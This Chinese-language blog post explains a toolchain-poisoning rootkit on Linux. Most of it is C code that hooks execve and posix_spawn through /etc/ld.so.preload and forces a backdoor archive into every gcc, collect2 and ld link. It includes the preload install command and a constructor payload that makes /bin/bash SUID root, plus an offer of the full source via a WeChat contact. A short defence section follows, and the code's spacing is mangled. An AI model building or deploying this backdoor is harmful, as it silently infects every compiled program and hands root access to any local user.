一、先讲个故事:编译出来的程序"自带"后门
想象一下这个场景:你是一个 Linux 系统管理员,某天发现服务器上所有的程序行为都有点不对劲——明明源码审查过没问题,编译出来的二进制文件运行后却偷偷把 /bin/bash 改成了 SUID 权限。更诡异的是,源代码完全干净,没有任何可疑代码。
这不是科幻,而是一种真实存在的攻击手法。它的核心思路特别巧妙:不在源代码里动手脚,而是在编译器身上做文章。
攻击者不需要修改你的任何一行代码,只需要在你的系统里"蹲"一个共享库,然后你每次用 gcc 编译程序时,这个库就会神不知鬼不觉地往你的程序里塞一段恶意代码。等你的程序一运行,后门就自动激活了。
今天咱们就来拆解这套技术的完整原理,看看它是怎么做到的,以及涉及哪些 Linux 底层知识点。
二、这套技术到底在做什么?
用一句话概括:通过劫持编译器的进程创建函数,在链接阶段偷偷往目标程序里塞一个静态库,让编译产物自带后门。
整个过程分三步走:
- 埋伏:把一个恶意的共享库(
gcc.so)通过 /etc/ld.so.preload 全局预加载到系统里 - 劫持:这个共享库会 Hook(拦截)
execve() 和 posix_spawn() 这两个系统调用,专门盯着 gcc、clang、ld 这些编译相关程序 - 注入:一旦发现编译器要执行链接操作,就偷偷在命令行参数里加上一个恶意静态库(
b.a),让链接器把它打包进最终的可执行文件
最终效果就是:你正常编译代码,生成的程序却已经被"感染"了。
三、核心原理图解
我画了两张流程图,帮你理解整个攻击链路:
图 1:完整攻击链路
在这里插入图片描述图 2:核心代码判断逻辑
在这里插入图片描述
三、逐行拆解代码:它是怎么"骗"过编译器的?
intis_gcc(constchar *path){
constchar *progname = strrchr(path, '/');
progname = progname ? progname + 1 : path;
returnstrcmp(progname, "gcc") == 0 || strcmp(progname, "cc") == 0 || strcmp(progname, "clang") == 0;
}
intis_collect2(constchar *path){
constchar *progname = strrchr(path, '/');
progname = progname ? progname + 1 : path;
returnstrcmp(progname, "collect2") == 0;
}
intis_linker(constchar *path){
constchar *progname = strrchr(path, '/');
progname = progname ? progname + 1 : path;
returnstrcmp(progname, "ld") == 0 || strstr(progname, "ld.") != NULL;
}
intshould_inject(char *const argv[]){
for (int i = 0; argv[i]; ++i) {
if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "-S") == 0)
return0;
}
return1;
}
char **inject_args(constchar *bin_path, char *const argv[], int extra){
...
constchar **new_argv = malloc(sizeof(char *) * (argc + extra + 1));
if (!new_argv) returnNULL;
int i = 0, j = 0;
for (; i < argc; ++i)
new_argv[j++] = argv[i];
constchar *arg1, *arg2, *arg3;
if (is_gcc(bin_path)) {
arg1 = "-Wl,--whole-archive";
arg2 = lib_path;
arg3 = "-Wl,--no-whole-archive";
} else {
arg1 = "--whole-archive";
arg2 = lib_path;
arg3 = "--no-whole-archive";
}
new_argv[j++] = arg1;
new_argv[j++] = arg2;
new_argv[j++] = arg3;
new_argv[j] = NULL;
return (char **)new_argv;
}
intexecve(constchar *pathname, char *const argv[], char *const envp[]){
staticint(*real_execve)(constchar *, char *const [], char *const [])= NULL;
if (!real_execve) real_execve = dlsym(RTLD_NEXT, "execve");
if ((is_gcc(pathname) || is_collect2(pathname) || is_linker(pathname)) && should_inject(argv)) {
//fprintf(stderr, "[hook execve] injecting into %s\n", pathname);
char **new_argv = inject_args(pathname, argv, 3);
if (new_argv) {
int result = real_execve(pathname, new_argv, envp);
free(new_argv);
return result;
}
}
return real_execve(pathname, argv, envp);
}
intposix_spawn(pid_t *pid, constchar *path,
constposix_spawn_file_actions_t *file_actions,
constposix_spawnattr_t *attrp,
char *const argv[], char *const envp[]){
staticint(*real_posix_spawn)(pid_t *, constchar *,
constposix_spawn_file_actions_t *,
constposix_spawnattr_t *,
char *const [], char *const [])= NULL;
if (!real_posix_spawn)
real_posix_spawn = dlsym(RTLD_NEXT, "posix_spawn");
if ((is_gcc(path) || is_collect2(path) || is_linker(path)) && should_inject(argv)) {
//fprintf(stderr, "[HOOKED] %s\n", path);
char **new_argv = inject_args(path, argv, 3);
if (new_argv) {
int result = real_posix_spawn(pid, path, file_actions, attrp, new_argv, envp);
free(new_argv);
return result;
}
}
return real_posix_spawn(pid, path, file_actions, attrp, argv, envp);
}
If you need the complete source code, please add the WeChat number (c17865354792)
下面咱们跟着代码走一遍,看看每个函数都在干什么。
4.1 入口:/etc/ld.so.preload 全局预加载
echo"/usr/local/share/gcc.so" > /etc/ld.so.preload
这是整个攻击的起点。/etc/ld.so.preload 是 Linux 动态链接器的一个配置文件,里面列出的共享库会在所有动态链接程序启动时优先加载——包括 gcc 本身。
知识点:LD_PRELOAD 环境变量只对当前 shell 生效,而 /etc/ld.so.preload 是全局的,重启后也有效。这就是持久化的关键。
4.2 钩子函数:拦截 execve()
intexecve(constchar *pathname, char *const argv[], char *const envp[]){
staticint(*real_execve)(constchar *, char *const [], char *const [])= NULL;
if (!real_execve) real_execve = dlsym(RTLD_NEXT, "execve");
// ...
}
这里用了一个经典的 LD_PRELOAD Hook 技巧:
- 通过
dlsym(RTLD_NEXT, "execve") 找到 glibc 里真正的 execve 地址 - 在自己的函数里做判断,符合条件就改参数,不符合就直接转发给真实的
execve
知识点:RTLD_NEXT 表示"跳过当前库,找下一个同名符号"。这样就能拿到被 Hook 之前的原始函数地址,形成调用链。
4.3 目标识别:只盯编译器
intis_gcc(constchar *path){
constchar *progname = strrchr(path, '/');
progname = progname ? progname + 1 : path;
returnstrcmp(progname, "gcc") == 0 || strcmp(progname, "cc") == 0 || strcmp(progname, "clang") == 0;
}
这段代码从完整路径里提取文件名(strrchr 找最后一个 /),然后匹配 gcc、cc、clang、collect2、ld 这些编译链上的关键程序。
为什么要同时 Hook collect2 和 ld?因为 GCC 内部的真实链接流程是:gcc → collect2 → ld。只 Hook gcc 不够,得层层拦截。
4.4 过滤逻辑:不链接的时候不捣乱
intshould_inject(char *const argv[]){
for (int i = 0; argv[i]; ++i) {
if (strcmp(argv[i], "-c") == 0 || strcmp(argv[i], "-E") == 0 || strcmp(argv[i], "-S") == 0)
return0;
}
return1;
}
这段过滤很聪明:
这些情况下还没到链接阶段,注入静态库没有意义,反而会报错。所以代码专门做了排除。
4.5 参数注入:偷偷塞三个参数
char **inject_args(constchar *bin_path, char *const argv[], int extra){
// ... 检查是否已包含 b.a,防止重复注入
constchar **new_argv = malloc(sizeof(char *) * (argc + extra + 1));
// ... 复制原参数
new_argv[j++] = "-Wl,--whole-archive";
new_argv[j++] = lib_path; // "/dev/shm/b.a"
new_argv[j++] = "-Wl,--no-whole-archive";
return (char **)new_argv;
}
这是整个攻击的核心动作。它在原始参数列表末尾追加了三个链接器参数:
-Wl,--whole-archive:告诉链接器"把静态库里所有目标文件都链接进来,不管有没有被引用"-Wl,--no-whole-archive:关闭 whole-archive 模式,恢复默认行为
知识点:--whole-archive 是 GNU 链接器的一个特殊选项。正常情况下,链接器只会把被引用的符号打包进最终程序;加上这个选项后,静态库里的所有代码都会被强制链接进去。这正是把后门代码"硬塞"进目标程序的关键。
4.6 恶意载荷:constructor 自动触发
__attribute__((constructor))
voidbackdoor(){
chmod("/bin/bash", 04755);
}
这段代码在 b.c 里,编译成 b.o 后打包成 b.a。__attribute__((constructor)) 是 GCC 的一个扩展属性,意思是:这个函数会在程序 main() 函数执行之前自动调用。
它不需要被任何人显式调用,只要程序一启动,它就会自动执行 chmod("/bin/bash", 04755)——把 bash 改成 SUID 权限(04755 即 rwsr-xr-x)。普通用户执行这个 bash 就直接变成 root 了。
知识点:ELF 可执行文件里有一个 .init_array 段,专门存放这些 constructor 函数的指针。程序启动时,动态链接器会遍历这个数组,逐个调用。这是 Linux 程序初始化的标准机制。
五、涉及的关键技术领域
这套攻击虽然代码不长,但横跨了好几个 Linux 底层知识领域,梳理一下:
5.1 动态链接与运行时库加载
- **
LD_PRELOAD / /etc/ld.so.preload**:动态链接器优先加载用户指定的共享库,实现函数替换 - **
dlsym(RTLD_NEXT)**:在 Hook 链中获取原始函数地址 - 符号解析(Symbol Resolution):同名函数优先加载的机制
5.2 进程控制与系统调用
- **
execve()**:Linux 执行新程序的核心系统调用 - **
posix_spawn()**:POSIX 标准的多线程安全进程创建接口,GCC 内部也会用到 - 进程替换(Process Replacement):exec 系列函数的本质
5.3 编译器内部工作原理
- GCC 的"驱动器"模式:
gcc 不是直接编译,而是调用 cc1(编译)、as(汇编)、collect2(链接包装器)、ld(链接器) - 链接阶段(Linking):把多个
.o 文件和库文件合并成最终可执行文件 - 静态库(
.a 文件):ar 工具打包的多个 .o 文件集合
5.4 ELF 文件格式
.init_array 段:存放程序初始化函数指针数组- **
__attribute__((constructor))**:GCC 扩展,将函数注册到 .init_array - SUID 权限位:
chmod 04755 设置 set-user-ID 位,程序以文件所有者权限运行
5.5 Rootkit 持久化技术
- 用户态 Rootkit:不修改内核,通过 Hook 用户态函数实现隐蔽控制
- 供应链攻击(Supply Chain Attack):污染编译工具链,影响下游所有产物
六、设计思路总结
这套攻击的设计有几个特别值得品味的点:
| |
|---|
同时 Hook execve + posix_spawn | |
检查 -c/-E/-S 过滤 | |
检查参数中是否已有 b.a | |
使用 --whole-archive | |
constructor 属性 | |
/dev/shm 存放 b.a | |
/etc/ld.so.preload 持久化 | |
七、怎么防御?
知道了原理,防御就有的放矢了:
- **定期检查
/etc/ld.so.preload**:这是 LD_PRELOAD 全局劫持的"命门" - 审计编译命令参数:注意异常的
--whole-archive 和陌生静态库路径 - 编译环境隔离:用 Docker 容器或虚拟机做编译,避免污染宿主系统
- 编译产物校验:对关键二进制文件做哈希校验,对比预期值
- 限制 root 对编译环境的访问:攻击者需要 root 才能写
/etc/ld.so.preload - 使用可信编译链:考虑用 Nix/Guix 等可复现构建系统,确保编译环境干净
总结
这套技术的可怕之处在于它的隐蔽性和扩散性。攻击者只需要污染一次编译环境,之后系统上所有通过 gcc 编译出来的程序都会自带后门。而且源代码审查完全查不出来——因为源码本身没问题,问题出在编译器身上。
这其实也是经典的**"信任链"问题**:你信任你的源代码,但你信任你的编译器吗?你信任编译器依赖的动态链接器吗?在 Linux 这种高度模块化的系统里,任何一个环节被攻破,整个链条就断了。
Welcome to follow WeChat official account【程序猿编码】